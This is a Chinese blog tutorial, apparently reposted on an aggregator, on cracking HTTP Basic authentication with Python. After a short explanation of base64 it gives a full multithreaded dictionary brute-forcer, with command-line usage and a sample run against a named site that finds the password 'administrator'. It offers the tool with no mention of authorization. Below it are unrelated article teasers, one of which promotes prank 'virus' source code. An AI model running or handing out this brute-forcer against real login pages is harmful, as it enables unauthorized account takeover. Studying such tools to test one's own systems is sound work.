网络安全用python吗_使用Python进行网络安全渗透——密码攻击测试器

相关文章:

本篇将会涉及:

HTTP 基本认证

对HTTP Basic认证进行密码暴力攻击测试

什么是HTTP 基本认证

HTTP基本认证(HTTP Basic Authentication)是HTTP协议中实现Web资源访问控制的最简单的认证手段。其通过添加header头域的方式或者在URL中附带参数的方式提供认证信息,并通过Base64编码将认证信息进行编码传输,最后由服务器接收到编码后的字符进行解码认证。

当我们访问一个需要进行HTTP基本认证的网址时,其会通过响应一个401状态码,并返回一个认证框来接收用户输入的认证信息。如果我们填错,服务器会继续返回一个401状态码和认证框,如果认证成功,则返回200请求成功状态码。

HTTP基本认证一个优点是几乎所有的现代浏览器都支持这种认证方式,非常的简单方便,但是由于其技术特性,这种认证方式并不是很安全,现在亦多存在于内网环境下的站点。

其采用的Base64编码加密,也是属于“防君子不防小人”的加密。利用Python的base64模块,我们就能够轻松的进行加密和解密:

import base64

# 原始字符串

a = 'admin123'

# base64编码加密

b = base64.b64encode(a.encode('utf-8'))

print(str(b,'utf-8'))

# base64编码解密

c = str(b,'utf-8')

d = base64.b64decode(c)

print(str(d,'utf-8'))

返回的结果为:

YWRtaW4xMjM=

admin123

是不是感觉很坑爹,嗯,就是的。^_^

编写Python密码暴力测试器

了解了HTTP基本认证的一些概念,下面我们继续使用Python编写一个渗透测试密码暴力破解器。

照常,我们引入相关的模块

# coding:utf-8

import requests

import sys

import getopt

import time

from termcolor import colored

from threading import Thread

由于字典中的条目会有很多,所以我们设置一个全局变量,用来标识字典中的密码是否有效:

global valid

valid = '1'

然后照例我们定义一个横幅函数,装饰我们的单调的命令行:

# 程序标识

def banner():

print("\n********************")

name = '''

______ _ _

|___ / (_) | |

/ / _ __ ___ _ ___| |_ ___ _ __

/ / | '_ ` _ \| / __| __/ _ \ '__|

/ /__| | | | | | \__ \ || __/ |

/_____|_| |_| |_|_|___/\__\___|_|

'''

print(name)

print("州的先生-密码暴力测试器 v1.0")

print("***********************")

接着,仍然是程序的使用参数方法示例:

# 程序用法

def usage():

print("州的先生密码暴力测试器使用方法:")

print(" -w:网址 (http://wensite.com/admin)")

print(" -u:用户名")

print(" -t:线程数")

print(" -f:字典文件")

print("例子:bruteforcer.py -w http://zmister.com/admin -u admin -t 5 -f commom.txt")

接着就是我们的主类request_performer():

class request_performer(Thread):

def __init__(self,name,user,url):

Thread.__init__(self)

try:

self.password = name.split("\n")[0]

self.username = user

self.url = url

except Exception as e:

print(e)

def run(self):

global valid

if valid == '1':

try:

r = requests.get(self.url,auth=(self.username,self.password))

if r.status_code == 200:

valid = '0'

print("[+]发现密码:"+ colored(self.password,'green'))

sys.exit()

else:

print("无效的密码:"+ self.password)

i[0] = i[0] - 1

except Exception as e:

print(e)

最后是启动线程的函数launcher_thread()和启动程序的函数start():

def start(argv):

banner()

if len(sys.argv) < 5:

usage()

sys.exit()

try:

opts, args = getopt.getopt(argv, "u:w:f:t:")

except getopt.GetoptError:

print("错误的参数")

sys.exit()

for opt, args in opts:

if opt == '-u':

user = args

elif opt == '-w':

url = args

elif opt == '-f':

dicts = args

elif opt == '-t':

threads = args

try:

f = open(dicts, 'r')

passwords = f.readlines()

except:

print("打开文件错误:", dicts, "\n")

sys.exit()

launcher_thread(passwords,threads,user,url)

def launcher_thread(passwords,th,username,url):

global i

i = []

print("==============================================")

i.append(0)

while len(passwords):

if valid == '1':

try:

if i[0] < int(th):

passwd = passwords.pop(0)

i[0] = i[0]+1

thread = request_performer(passwd,username,url)

thread.start()

except KeyboardInterrupt:

print("用户停止了程序运行。完成探测")

sys.exit()

thread.join()

return True

在命令行终端运行命令:

python passBruteForcer.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt

结果显示发现了一个密码“administrator”

我们打开http://www.scruffybank.com/Admin,使用用户名admin和密码administrator登录,看看能否成功登录。

结果认证成功进入了一个目录内,说明我们的弱口令密码暴力测试成功了。

下一篇,我们将改进我们的密码暴力测试器,让其支持更加安全的认证方式——HTTP摘要认证。

敬请期待!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/271074.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EJB3 学习笔记六

开发表音映射的实体 Java持久化规范(JPA),即是实体bean通远元数据在javaBean和数据库之间建立映射关系,常见的hibernate toplink openjpa 在src目录下添加META-INF/persistence.xml文件,示例代码如下: <?xmlversion"1.0"encoding"UTF-8"?> <…

栈出现的异常和设置栈的大小-Xss

异常 java.lang.StackOverflowError 看下面的例子&#xff0c;默认的栈内存 设置栈内存 使用参数-Xss大小来设置栈的大小

bmp 像素点 php,读取BMP图像每一像素点RGB数据 | 学步园

对于24位bmp图片&#xff0c;每一个像素点存放着此点的RGB值。首先定义一个结构体&#xff0c;包含红(red)、绿(green)、蓝(blue)这三个字段&#xff0c;如下&#xff1a;//像素颜色值typedef struct tagPOINT{BYTE b;BYTE g;BYTE r;} POINT;接下来定义用来存放每一像素点RGB值…

项目管理基础:系统评价相关知识

1、概念软件系统的评价分为广义评价和狭义评价。广义评价&#xff1a;主要是指系统从开发开始到结束的过程中&#xff0c;每个阶段都要进行系统评价。狭义评价&#xff1a;主要是指在系统建成后并投入运行之后进行全面、综合的评价。2、广义评价分类根据时间与软件系统所处的阶…

AutoHotKey程序防止反编译的简单手段

可以使用AutoHotKey自带的工具。 AutoHotKey安装完成后&#xff08;我使用的是1.1.0.0&#xff09;&#xff0c;找到安装所在目录下的文件&#xff1a;\Compiler\Ahk2Exe.exe。 程序界面如下&#xff1a; 简单使用&#xff1a; 1、选择源文件&#xff08;script file) 2、选择目…

table合并单元格_制作课程表3——合并单元格

由于浏览器兼容问题&#xff0c;、 以及 很少被使用&#xff0c;所以我们将课程表依然使用tr、td元素&#xff0c;结合样式实现出前面案例中效果原来代码&#xff1a;课程1 课程2 课程3 课程4 课程5 课程1 课程2 课程3 课程4 课程5 课程1 课程2 课程3 课程4 课程5 课程1 …

php join a.id b.id,mysql求助 请问where a.id=b.id 和join on a.id=b.id 在效率上的区别

下面是ecshop 的商品表和品牌表的查询&#xff0c;请问它们的查询效率有什么区别呢&#xff1f;还有一个问题是 left join 和join的效率哪个高一点呢。谢谢 &#xff01;&#xff01;SELECT a.goods_id , a.goods_name , b.brand_nameFROM ecs_goods AS aLEFT JOIN ecs_brand A…

数据库设计:数据库应用系统的生命周期

数据库应用系统的生命周期可以划分为&#xff1a;数据库规划、需求描述与分析、数据库与应用程序设计、数据库设计实现、数据库测试、数据库运维。1、数据库规划 数据库规划是创建数据库应用系统的第一步&#xff0c;也是数据库应用系统的任务描述和目标的明确。数据库规划的内…

从零开始,做一个NodeJS博客(四):服务器渲染页面与Pjax

标签&#xff1a; NodeJS 0 一个星期没更新了 一直在忙着重构代码&#xff0c;以及解决重构后出现的各种bug 现在CSS也有一点了&#xff0c;是时候把遇到的各种坑盘点一下了 1 听歌排行 API 修复与重构 1.1 修复 在加载云音乐听歌排行的时候&#xff0c;有时会出现一个奇怪的…

java 简单事件的使用,如何正确的使用Java事件通知(1)

如何正确的使用Java事件通知(1)通过实现观察者模式来提供 Java 事件通知(Java event notification)似乎不是件什么难事儿&#xff0c;但这过程中也很容易就掉进一些陷阱。本文介绍了我自己在各种情形下&#xff0c;不小心制造的一些常见错误。Java 事件通知让我们从一个最简单的…

Java 自动装箱与拆箱

Java 自动装箱与拆箱 装箱就是自动将基本数据类型转换为包装器类型&#xff08;int–>Integer&#xff09;&#xff1b;调用方法&#xff1a;Integer 的 valueOf(int) 方法 拆箱就是自动将包装器类型转换为基本数据类型&#xff08;Integer–>int&#xff09;。调用方法…

基本系统设备感叹号_win7系统网络图标显示感叹号的问题

有系统之家的小伙伴&#xff0c;在使用win764位纯净版系统上网的时候&#xff0c;出现网络图标显示感叹号的问题。这种问题我们可以通过在网络检测修复中进行自行检测。或者是检查一下是不是硬件设备的问题。详细解决步骤就来看下系统哥小编是怎么做的吧~win7 64系统无法上网显…

LVM逻辑卷,RAID磁盘阵列

磁盘管理&#xff1a; 有关硬盘的识别&#xff0c;linux根据设备类型对存储设备进行识别&#xff0c;如果是IDE设备&#xff0c; 在计算机中会被识别为hd&#xff0c;第一个IDE设备会被识别为hda&#xff0c;第二个IDE设备会被识别为hdb&#xff0c;依次类推。如果是SATA,USB,S…

硬件编程:STM32串口发送数据和接收数据方式总结!

串口发送数据1、串口发送数据最直接的方式就是标准调用库函数 。void USART_SendData(USART_TypeDef* USARTx, uint16_t Data);第一个参数是发送的串口号&#xff0c;第二个参数是要发送的数据&#xff0c;但是用过的朋友应该觉得不好用&#xff0c;一次只能发送单个字符&#…

Java编程题修院子,了解java虚拟机—JVM相关参数设置(2)

1. JVM相关参数设置JVM相关配置-XX:PrintGC两次次YoungGC&#xff0c;两次FullGC。-XX:PrintGCDetails打印GC时的内存&#xff0c;并且在程序结束时打印堆内存使用情况-XX:PrintHeapAtGC每次GC时会分别打印回收前与回收后堆信息-XX:PrintGCTimeStamps选择打印GC的方式后&…

此异常最初是在此调用堆栈中引发的:_【8】进大厂必须掌握的面试题Java面试异常和线程...

点击上方“全栈程序员社区”&#xff0c;星标公众号重磅干货&#xff0c;第一时间送达Q1。错误和异常有什么区别&#xff1f;错误是在运行时发生的不可恢复的情况。如OutOfMemory错误。这些JVM错误无法在运行时修复。尽管可以在catch块中捕获错误&#xff0c;但是应用程序的执行…

高仿带感魔性病毒源码+成品(最近很火的)

高仿带感魔性病毒源码成品&#xff08;最近很火的&#xff09;娱乐使用。没破坏性 会改壁纸和打乱桌面图标顺序 自己改回来就好 演示地址&#xff1a; 下载地址&#xff1a;链接: http://pan.baidu.com/s/1dF2ZlU5 密码: m95p转载于:https://www.cnblogs.com/blogwy/p/5804711.…

数据库设计:数据库设计的基本步骤介绍

数据库设计主要包括用户需求分析、概念结构设计、逻辑结构设计、物理结构设计、数据库实施阶段、数据库运行和维护阶段等六个阶段。1、用户需求分析 数据库设计人员采用相应的辅助工具对应用对象的功能、性能、限制等要求进行科学实际的分析。2、概念结构设计 概念结构设计主要…

Hashcode 的作用

java 的集合有两类&#xff0c;一类是 List&#xff0c;还有一类是 Set。前者有序可重复&#xff0c;后者无序不重复。当我们在 set 中插入的时候怎么判断是否已经存在该元素呢&#xff0c;可以通过 equals 方法。但是如果元素太多&#xff0c;用这样的方法就会比较满。 于是有…

坎蒂雷赋权法 matlab,干货 | 利用MATLAB实现FMCW雷达中的常用角度估计方法

其中在介绍角度估计中&#xff0c;通过对接收差频信号在快慢时间维度的扩展&#xff0c;增加了空域的信息。扩展后的接收差频信号可以表示为其中k表示接收天线的个数&#xff0c;d为天线间距。在“干货|利用MATLAB实现FMCW雷达的角度估计”中&#xff0c;已经介绍了如何理解目标…